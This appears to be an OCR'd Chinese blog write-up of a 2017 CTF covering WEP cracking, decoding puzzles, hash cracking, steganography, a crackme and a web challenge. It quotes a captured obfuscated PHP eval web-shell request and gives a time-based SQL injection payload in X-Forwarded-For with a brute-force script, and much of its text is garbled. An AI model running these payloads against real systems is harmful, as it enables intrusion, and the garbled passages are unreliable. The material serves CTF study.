2017ctf writeup



2篇文章0订阅 订阅专栏

2017ctf writeup

旦绅砺献富砇 x

用airrack-ng的指令去读取ivs文件的内容:

<mark>root@</mark> Openi Read	ang:~# .ng / roo 36977 p	≉ aircrack-ng ot/www.ivs ⊃ackets.	/ root/	www.ivs		•
#	BSSID		ESSID		Encryption 2017 2.14.20.31.2017 9	iut L
1 2 3 4 5 6 7 8 9 10 11 11 13 13 11 13	78: EB: 1C: FA: 00: 87: A4: 17: 14: CF: 84: 4B: 00: 36: A4: 17: 20: 10: C4: A8: CC: 34: 14: 75: 14: 75: 1C: FA:	14: 0D: 2B: 10 68: D3: 1B: 2A 36: 1F: CB: C3 31: FB: 11: 91 92: 88: F2: 88 F5: 90: 08: F9 Ma: 08::06: F9 Ma: 08::06: F9 Ma: 08::06: F9 10: 5A: 28: 80 29: 63: 3A: 4E 90: 41: E6: 0A 68: D3: 1E: 1E: 1E	ceshi FMCN 360WiF 猎豹免 TL-WR 360WiF 360WiF 9C-AD 104 HE 25hote FMCn xhsdxc	Fi- CBC3 费 WIF1637 720 Fi- 4520 Fi- 8962 Fi- 8962 Fi- 8962 S S S S S S S S S S S S S S S S S S S	WEP (36960 IVs) Unknown Unknown Unknown Unknown Unknown 00706100/#KadwA2 Unknown Unknown Unknown Unknown Unknown Unknown Unknown Unknown	
15 16 17	00: 36: B0: C5: 02: 1A:	76: 69: C3: F2 54: 81: FB: 00 95: AB: 5E: 42	哈哈哈 forcel HS U97	kuangjia 70	Unknown Unknown Unknown	

				Air	crack-ng 1.	2 rc2	
			[00: 00: 00]	Tested 3	keys (got	32063 IVs	in_Jul
KB	dep	th	byte(vote))			
0	0/		31(45824)	8E(40448)	74(39680)	19(38656)	52(38400)
	0/		32(42240)	A6(40192)	E2(39424)	24(39168)	BD(39168)
2	0/		33(46336)	94(38912)	B4(38400)	AC(37632)	0F(37376)
3	0/		34(43776)	B4(39936)	62(39680)	49(38144)	26(37632)
4	0/	2	8B(42240)	FF(41472)	2E(39936)	52(39680)	8B(39680)
			KEY F	OUND! [31:	32: 33: 34: 1	35] (ASCI	I: 12345)
	Decr	ypt	ed correctD	y:/10096g.		/T200706	10080122

获取密码: 12345

解压缩,分析数据包:

POST /3.php HTTP/1.1 X-Forwarded-For: 241.38.53.25 Content-Type: application/x-www-form-urlencoded Referer: http://192.168.1.145/ User-Agent: Mozilla/S-0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html) Host: 192.168.1.145 Content-Length: 472 Cache-Control: mo-cache

latercontoir moreacta 123=array_map("ass"."ert",array("ev"."Al(\"\\\\$xxX3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\ \$xx('QGLuvYzZXQoImPcBsYX1FZX)yb3JIIxiMCIpO0BzZXRfdGltZV9saWIpdCgwKTtpZinQSFBFVkVSU0IPTjwmN542LjAnKX tAc2WW21h221;X3F1b3R1c19ydK504N11K0ApO397ZNNobygikE8ZIK7JEY9IKM5KX*3d3dyb290KFM6FLnRhci5neiT73GXP Umb3B1bigkiksincip2D1wHE8m22W9ygEAngKtXEAmb5AD1KKEmcKC4PU1YMMmahkXLEGKTt9ZinXzZK1U?hvKCdFU1JPUjov UyB0YWdgTm9dFFJ1V4QnKTt9O2Vja68011hAWSIpO2RpZSgpOwX3D%3D'));\");"));HTTP/1.1 200 0K Date: Mon, 27 Jun 2016 08:48:26 GMT Server: Apache/2.2.22 (Win2) PHP/5.3.13 X-POwered-By: PHP/5.3.13 Content-Length: 209 Content-Type: text/html

http://tomeko.net/onlin

e_tools/base32.php?lang=en



互迡刼鯄砇 x

http://www1.tc711.com/tool/BASE64.htm

将large字符转换成ascii,然后编码为二进制,与给定的二进制异或运算,然后计算器



Ascii缜砇:

将代码放入到在线编码:

在线编解码参考网站: http://tool.oschina.net/encode

\u606d\u559c\u60a8\uff01\u006b\u0065\u0079\u007b\u0074\u0068\u0065\u0020\u0066\u0069\u0072\u0073\u

<u> </u>			
	Java+Hypropenies自由X1+JI人使用这种临时		۰ ۲
١	lative:		ASCII:
	恭喜您!key{the first key}	✓ 不转换字母和数字 ASCII ->	\w6868rW559c\w60a8\wf01\w0065\w0079\w007b\w007b\w0074\w0088 \w0065\w0020\w0066\w009\w0072\w0073\w0074\w0020\w006b\w0065 \w0079\w0079\w007d http://blog.csdn.net/T20070810080
unic	code编码形式:		
Nativ 恭喜	e: St I key(the first key) Unicode > C Native:	Unicode: 恭喜÷ 16;he & ;ey}	744;!key{ f02;i&#f14;s&#f16;>&#f07 http://blog.ends.aet/720070610080122</td></tr><tr><td>北吉</td><td>(佐山 koy (the first koy)</td><td></td><td></td></tr></tbody></table>

恭喜您! key{the first key}

凯撒编码:

凯撒有两种编码脚本,一种是字母26内循环移位,一种是127次非字母内的循环移位;

e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XVIRXIp^XI5Q6Q6SKY8jUAA

这次加密的源码一看就含有非字幕项,将其放在127次移位的脚本中,爆出来一个base64

脚本为

```
lstr="e629i~]8R-U~QHE(RNY{QXg~QnQ(^XVIRXlp^XI5Q6Q6S)
for p in range(127):
    str1 = ''
    for i in lstr:
        temp = chr((ord(i)+p)%127)
        if 32<ord(temp)<127 :
            str1 = str1 + temp
            feel = 1
        else:
            feel = 0
            break
    if feel == 1:
        print(str1)log.csdn.net/T20070610080122
</pre>
```

结果:

```
e6Z9i~]8R~U~QHE{RnY{QXg~QnQ{^XV1RX1p^XI5Q6Q6SKY8jUAA
Q"F%UjI$>jAj=41g>ZEg=DSj=Z=gJDBX>DX\JD5!="=
                                                  "?7E$VA
R#G&VkJ%?kBk>52h?[Fh>ETk>[>hKECY?EY]KE6">#>#@8F%WB..
S$H'W1K&@1C1?63i@\Gi?FU1?\?iLFDZ@FZ^LF7#?$?$A9G&XC/
T%I(XmL'AmDm@74jA]Hj@GVm@]@jMGE[AG[_MG8$@%@%B:H'YD00
U&J) YnM (BnEnA85kB^IkAHWnA^AkNHF\BH\`NH9%A&A&C;I(ZE11
V'K*ZoN)CoFoB961C_J1BIXoB_B10IG]CI]aOI:&B'B'D<J)[F22
W(L+[pO*DpGpC:7mD`KmCJYpC`CmPJH^DJ^bPJ;'C(C(E=K*\G33
X)M, qP+EqHqD; 8nEaLnDKZqDaDnQKI_EK_cQK< (D)D)F>L+]H44
Y*N-]rQ,FrIrE<9oFbMoEL[rEbEoRLJ`FL`dRL=)E*E*G?M,^I55
Z+O.^sR-GsJsF=:pGcNpFM\sFcFpSMKaGMaeSM>*F+F+H@N-_J66
[,P/_tS.HtKtG>;qHdOqGN]tGdGqTNLbHNbfTN?+G,G,IAO.`K77
\-O0`uT/IuLuH?<rIePrHO^uHeHrUOMcIOcgUO@,H-H-JBP/aL88
.RlavU0JvMvl@=sJfQsIP_vIfIsVPNdJPdhVPA-I.I.KCQ0bM99
//S2bwVlKwNwJA>tKgRtJQ`wJgJtWQOeKQeiWQB.J/J/LDR1cN::
 OT3cxW2LxOxKB?uLhSuKRaxKhKuXRPfLRfjXRC/K0K0MES2dO;;
013CXW2LAOARD:ULHOUNDULLUVSQgMSgkYSDOL1L1NFT3eP<<
1U4dyX3MyPyLC@vMiTvLSbyLiLvYSQgMSgkYSDOL1L1NFT3eP<<
2V5ezY4NzQzMDAwNjUwMTczMjMwZTRhNTh1ZTE1M2M2OGU4f0
b3W6f{Z50{R{NEBxOkVxNUd{NkNx[USiOUim[UF2N3N3PHV5gR>>
c4X7g|[6P|S|OFCyPlWyOVe|OlOy\VTjPVjn\VG3O4O4QIW6hS??
d5Y8h}\7Q}T}PGDzQmXzPWf}PmPz]WUkQWko}WH4P5P5RJX71T@@
```

a2V5ezY4NzQzMDAwNjUwMTczMjMwZTRhNThlZTE1M2M2OGU4fQ==

解密

key{68743000650173230e4a58ee153c68e8}

100 M	9. 解码 解码结果以16进制原示
	Base64编码或解码结果:

key {68743000650173230e4a58ee153c68e8} T2007061008012

LM/NTLM HASH解密:

http://blog.csdn.net/gscaiyucheng/article/details/9151257

通过分析得知,前半部分是MD4,后半部分是MD5,通过在线解码就可以得到密文;

也可以通过彩虹表去破解md5,有待研究。

http://www.chamd5.org

密码: 1qazXSW@txl

前半段是MD4,后半段MD5;



我心永恒: MP3隐写破解

将音频文件用notepade++打开,然后搜索pass,发现密文。



pass:pass_123_word

用mp3stego 获取隐藏文件



打开txt文件,查看即可得到flag

文件(E) 编辑(E) 格式(Q) 查看(V) 帮助(H) key{efrgrh48q4g5gh44q4fhfgg} http://blog.csdn.net/T20070610080122

时间注入:简单的web题

通过抓包分析,在X-Forwarded-For项中不过加入什么,在页面都会实现对应的内容,除非用逗号隔开,才会不显示。

Request	Response
Raw Headers Hex	Raw Headers Hex
GET / HTTP/1.1	HTTP/1.1 200 OK
Host aimzhugeaq.com82	Date: Sun, 02 Jul 2017 02:30:09 GMT
User-Agent: Mozilla/5.0 (Windows NT 10.0; \WO\W64; rv:49.0) Gecko/20100101	Server: Apache/2.2.15 (CentOS)
Firefox/49.0	X-Powered-By: PHP/S33
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	Content-Length: 138
Accept-Language: zh-CN(zh)q=0.8,en-US)q=0.5,en(q=0.3	Connection: close
Accept-Encoding: gzip, deflate	Content-Type: text/html; charset=UTF-8
DNT: 1	
X-Forwarded-For: 1' and (select case when (select ord(substring(flag from 1 for 1))	your ip is :1' and (select case when (select ord(substring(flag from 1 for 1)) from flag limit 1) = 2 then sleep(5) else 1 end) and '1'='1
from flag limit 1) = 2 then sleep(5) else 1 end) and '1'='1	
Connection: close	
Upgrade-Insecure-Requests: 1	

发现是时间注入,可参照网站http://www.jianshu.com/p/5d34b3722128

采用第一种方法,用脚本跑,脚本如下:

coding: utf-8 import requests 使义介方法应则时时时是 var定义为操作字符 num/为操制的多少位 ferstar.com(); ferstar.com(); utf = http://sim.shugeaq.com;82/'
#头信息 X-Forwarded-For 插入安量
headers = ()
#X-Forwarded-For 指定 如果是该字符 进行sleep 5秒
headers['X-Forwarded-For']==11:(select 1 from(select case when ((select substring(flag from ***+str(num)+**** for 1) from flag) = ****+str(yar)=
headers['Referer']='http://aim.zhugeaq.com:82/'
headers['Host']='aim.zhugeaq.com:82'
#执行前时调研取
<pre>time_start=time();</pre>
r = requests.get(url,headers=headers);
#执行后时调研取
<pre>time_stop=time();</pre>
+2@\$j###
return int(time_stop)-int(time_stop); http://blog.cadn.net/T200708100801
#定义testChar 为一个字符串字典 testChar='abodefghijklmnopgrstuvwxyz01234567898()-' #手工检測出32位进行循环猜解 先进入一个循环破解的多少个字符串
for x in xrange (1,33):
#循环单个破解的字
for j in testChar:
≢判断时间差是否大于等于5
<pre>if test(j,x) >= 5:</pre>
#破解后字符
<pre>print str(x)+':'+str(j) http://blog.csdn.net/T20070610080122</pre>

然后去爆破网站,利用时间差来发挥对应的flag内容,超过5秒就返回值,由于网速的原因,对应的32位循环猜 解可能出现多种可能,所以需要多次跑,取其中相同的部分。

脚本跑的结果为:

222 1:a 4:g 1:b 5:{ 12:d 13:5 14:b 1:c 5:-15:e 1:d 6:a 16:5 17:6 1:e 6:4 1:f 7:c 18:1 1:5 19:2 7:p 1:6 20:f 21:7 7:q 1:9 8:e 22:b 1:0 8:f 23:b 2:1 24:5 8:9 2:m 25:d 8:. 2:n 26:2 8:{ 27:8 28:6 3:a 3:p 9:5 3:p 9:5 20:0 3:q 10:5 29:7 30:8 3: 11:1 31:5 3: 12:1 31:5 3: 12:1 32:1

前8个不确定,多跑几次,然后取相同部分就是flag,最后得到flag为:

flag{4c9551d5be5612f7bb5d286785}

寻找**key**

首先是获得一个风景图,



得到一个压缩包和一张风景图,



然后压缩包发现是伪压缩,可以在kali里面直接提取,也可以修改对应的hex,可参考:

http://blog.csdn.net/ETF6996/article/details/51946250

然后解压得到另外一张图:

×法戶69 ; * BO%J IEND®B`,Nvfppp 4sntggsetntgfaul 地セノT20070610080122

用winhex分析,发现尾部有一句话引起注意,然后通过凯撒解码即可得到flag:

isccc4fagtdfrgagtsnhyh

Base64编码:

下载,查看help.xml文件,直接base64解密即可:

文件(E) 编辑(E) 格式(Q) 查看(V) 帮助(L a2V5ezIwMTZfa2V5X2h1bHB9==| b://blog.csdn.net/120070610080122

逆向一道题目的解题WP

OD载入AnyunGameCM1,观察入口点,可以知道是Delphi程序

kaise N
Market ≥ Market (Market & Market & Mar

运行之,观察下,发现序列号错误了,程序会清除文本框信息,没有任何弹窗和文本提示,果断放弃**MessageBox**,Showwindow等常用断点函数

the start Calman Chart	MLese - (CPU - mon thread, module A	okouteku]					
41× 11 4		WHICINEBRINS	1= 11 ? til un				4
B. Des. Des. B. Des.		Sensor BEDDIF Yurkm" Arquine (0513)54 Arquine (0513)54 Arquine (0513)54 Difference constant Difference constant	E Satora	T Creat	• 24 15 15 15 15 15 15 15 15 15 15		s <u>s</u> <u>s</u> <u>s</u> <u>s</u> <u>s</u> <u>s</u> <u>s</u> <u>s</u>
Ex Sec Sec					COLUMNA C	DELON (MITME to hornality IO10007 STOCK MACL FORCO FILCE MACL FORCO HISTORY DELTATION DATA STATE HISTORY DAT	fead.
£0	•						
to 1000000E4 terminated, e	evit code 0						Ba

观察程序线程,发现在点击Check按钮后,程序会新启动一个线程,然后瞬间结束,

据此,猜测程序会新启动一个线程来处理序列号,于是下断CreateThread函数,点击Check按钮,逐步运行到了 线程的处理代码

逐步跟进之,发现在这里,右侧寄存器中出现了我们输入的序列号,于是猜测这里估计序列号处理的核心位置

发现内存串比较代码,还有后面紧跟一个判断代码



运行到判断代码,然后在右侧修改0标记,强制改变判断代码的流程,

修改流程后,直接F9运行,发现程序界面终于发生变化了,于是可以确定这里就是序列号处理函数!但是显示出来的提示是乱码,不要紧,这里估计是提示字符串被用正确的序列号加密了,我们的序列号错误,所以解密出来的提示是乱码。

	StyDbg - AnyunGameCM1.exe - [CPU - thread 00000F7C, module AnyunG	
	File View Debug Plugins Options Window Help 1x188 \$25->	
	HX FU HT STO D T FEMILWHC	
al 🖉 🖓 Manda, American 🛛 Materials		20 CPU UNDER 1 Standard 20 CPU UNDER 1 Standard
	Rat (# 03 Montreta Anunciana Di bat Bar Bar	http://blog.csdn.net/12007/a/a 🕞

很明显,如果程序想要在此处判断正确,则上面的内存串比较函数就得一样。换句话说,这段代码对我们输入 的序列号做了某种处理之后,然后在和程序内的一串内存串比较,如果相同,则序列号正确。

经过跟踪,发现了加密函数



可以看出加密函数很简单,就是对序列号做了异或和加和处理,完全可逆,我们用刚才说的那段用了比较的内 存串,经过逆运算之后,便可得到序列号。

输入之后,点击Check,程序提示You Got it